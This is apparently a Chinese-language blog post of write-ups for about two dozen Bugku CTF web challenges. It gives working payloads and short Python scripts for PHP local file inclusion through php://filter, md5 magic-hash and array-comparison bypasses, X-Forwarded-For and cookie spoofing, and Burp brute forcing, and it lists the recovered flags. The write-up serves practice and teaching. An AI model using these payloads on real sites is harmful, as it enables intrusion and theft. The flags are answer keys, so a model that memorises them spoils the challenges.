- web2">web2
- 计算器">计算器
- web基础$_GET">web基础$_GET
- web基础$_POST">web基础$_POST
- 矛盾">矛盾
- web3">web3
- 域名解析
- 你必须让他停下">你必须让他停下
- 本地包含">本地包含
- 变量1">变量1
- web5">web5
- 头等舱">头等舱
- 网站被黑">网站被黑
- 管理员系统">管理员系统
- web4">web4
- flag在index里">flag在index里
- 输入密码查看flag">输入密码查看flag
- 点击一百万次">点击一百万次
- 备份是个好习惯">备份是个好习惯
- 成绩单(缺手工注入)">成绩单(缺手工注入)
- 秋名山老司机">秋名山老司机
- 速度要快">速度要快
- cookies欺骗">cookies欺骗
- never give up">never give up
web2
查看源代码就能找到key
计算器
先习惯性的看眼网页元素
很明显这里对输入框的字符长度做了限制,改成验证码答案的位数就行,改大点也没事
web基础$_GET
打开网页,页面提示已经很明显了
按照要求提交参数即可
web基础$_POST
post提交参数,可以直接用HackBar,或者burpsuite抓包
burpsuite抓包修改的话,发现是GET请求,先Change request method
,然后在报文最后加上what=flag
即可
矛盾
看着和前面那题差不多
不过按照之前的方法没用,那就查一下这里提到的is_numeric函数
要想得到flag,必须进入这个if代码块里面,所以num的赋值不能是数值。而因为num变量是与1比较,在比较的时候会默认把num转化为数字型。
因此只需要在1后面添加任意字符即可
web3
无尽的弹窗,查看源代码可以看到这里有一行被注释的代码
HTML转义,用CTFCrackTools就行
域名解析
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
一开始地址栏填域名,Host
改成IP不行,反过来就对了(拿出小本本记下
你必须让他停下
emmm闪来闪去我就直接丢到burpsuite的repeater里go几次就找到了flag
本地包含
是我的问题?我现在打不开这个页面emm看一下别人的题解吧
变量1
代码审计还没涉及到,先看看别人的题解
注意到最后的eval("var_dump(args);");
,有两个
所以,只需要给变量传一个全局数组变量就好了
web5
说了是js混淆,那就查看源代码看到一串奇怪的东西,丢到控制台,回车一下得到flag
头等舱
什么也没有
是真的什么也没有,查看源代码也什么都没有,丢到burpsuite的repeater里go一下就什么都有了
网站被黑
源代码看不出有什么问题,就只好用工具扫一下后台了
打开第二个网址,用burp爆破一下
按照长度排序找到破解出来的密码:hack
,查看Responce得到flag
管理员系统
查看源码,发现最后有些奇怪的东西
明显base64加密,解密得到test123
,猜测为密码,输入后出现如下提示
看到这个就想到X-Forwarded-For,伪造一下然后go,成功获得flag
web4
提示查看源代码,发现一些url编码
解码并格式化后得到
function checkSubmit() {
var a = document.getElementById("password");
if ("undefined" != typeof a) {
if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;
alert("Error");
a.focus();
return ! 1
}
}
document.getElementById("levelQuest").onsubmit = checkSubmit;
输入67d709b2b54aa2aa648cf6e87a7114f1
得到key
flag在index里
参考wp:经典的本地文件包含漏洞+php伪协议的结合应用
注意到url地址http://123.206.87.240:8005/post/index.php?file=show.php
这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)
这里用到了php的封装协议,所以访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到如下一串编码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
很明显是base64编码,hackbar解码一下,得到flag
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
file=php://filter/read=convert.base64-encode/resource=index.php
的含义- 首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php,通过传递这个参数可以得到index.php的源码。
- 看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
- 而include的内容是由用户控制的,所以通过传递的file参数,使
include()
函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以得到了源码的base64格式,解码即可。 - 如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
输入密码查看flag
一共就5位数,还不爆破?更何况提示这么明显?
burp拦截,选择payload点
不用等全都跑完,按照回文长度排个序,很快就得到flag
点击一百万次
网站404了,看了下别人的wp,两种方法
先上源码
- F12,进入控制台,输入
clicks=1000000
,回车,再点击一下网站图案,得到flag - 用POST提交
cllicks=1000000
,得到flag
备份是个好习惯
打开就是一串字符,没什么思路…(做题太少根本没想到扫目录
.bak,果然备份是个好习惯,打开url下载了一个文件,打开看看
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str); //将key替换为空,所以需要利用到重写(kkeyey)绕过
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy
绕过),然后对key1、key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。
- 构造payload:
?kkeyey1[]=123&kkeyey2[]=456
md5()
中需要传入的是一个string类型的参数,当传递一个数组时,是不会报错的。函数无法求出数组的MD5值,这样导致任意两个数组的MD5值都相等,从而绕过输入数值的判断。- md5算法比较数组会返回NULL,也就是等值。
- 构造payload:
?kkeyey1=QNKCDZO&kkeyey2=s878926199a
==
是比较运算,它不会去检查条件式的表达式的类型;===
是恒等,它会检查查表达式的值与类型是否相等。- PHP在处理哈希字符串时,会利用
!=
或==
来对哈希值进行比较,它把每一个以0E
开头的哈希值都解释为0(遇到0ed+
这种字符串,就会将这种字符串解析为科学计数法),所以如果两个不同的密码经过哈希以后,其哈希值都是以0E
开头的,那么PHP将会认为他们相同,都是0。 - MD5值都是0e开头的字符串:
QNKCDZO
、240610708
、s878926199a
、s155964671a
、s214587387a
、s214587387a
成绩单(缺手工注入)
看了不少wp都是手工注入,sql注入还没学到家,先借助工具吧@椰树1.9
网站打开,源码元素都没什么有用的信息,涉及查询怀疑存在sql注入
打开椰树,输入url,修改post提交,打开网址然后扫描url
发现sql注入漏洞,右键SQL INJECTION POC
获取信息,环境出来后全部选中,再次获取信息
依次选中,获取表名、字段、获取数据,得到flag
秋名山老司机
2s是不可能手算出来再提交的…只能借助脚本,网页多刷新几次会发现提示
看了下别人的wp都是用py写的脚本,抄抄改改学学
# -*- coding: utf-8 -*-
import re #re模块是正则表达式,用于匹配字符串当中的一定字符,但是说匹配这里却用来提取字符
import requests #请求模块
s = requests.session() #用s存session,session和cookie都用于身份识别,相当于记录身份
url = 'http://123.206.87.240:8002/qiumingshan/'
source = s.get(url) #用此身份请求url,得到页面对象,为了得到后面r.text的内容
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
'''
re.search扫描一个字符串返回第一个匹配成功的值,.text为服务器返回页面的内容,在.text中匹配需要的计算公式,r表示字符串为原始字符串,里面的"\"不再被认为转义字符
“\d+” 匹配一个或者多个字符
“[+-*]” 匹配加号,加号,乘号,因为式子里面包含这三种运算,"-“在中括号里面为特殊符号,使用”\"转义
“\d+” 再匹配一个字符或者多个字符
'''
result = eval(expression) #计算
post = {'value': result}
print(s.post(url, data = post).text)
速度要快
首先查看源代码
抓包分析一下
base64解密,得到:跑的还不错,给你flag吧: OTAxOTcz
,再次对字符串base64解密,得到901973
。查看请求头,发现存在PHPSESSID,每次刷新得到的都不一样,所以要用python在同一个session下提交margin
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
headers = s.get(url).headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])
data = {'margin' : str2}
flag = s.post(url, data = data)
print(flag.text)
cookies欺骗
输入url,发现访问了:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
对filename进行base64解密,发现其名为keys.txt
,尝试访问index.php,对其进行base64加密aW5kZXgucGhw
,发现是空白页面,前面还有一个line,尝试修改为1,2,…n,发现每次返回一行,编写py脚本尝试获得index.php
import requests
a = 25
for i in range(a):
url = "http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s = requests.get(url)
print(s.text)
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
?>
构造cookie,filename为keys.php的base64加密,查看页面源代码得到flag
never give up
查看源代码,发现提示1p.html
,尝试访问,跳转到bugku,直接view-source:http://123.206.87.240:8006/test/1p.html
发现Words内是url编码,进行解码,得到
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
注释了一段base64,解密再次得到一段url编码文本,再次解码
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
直接访问http://123.206.87.240:8006/test/f4l2a3g.txt
,得到flag,绕过方法太麻烦了看这个大佬的wp吧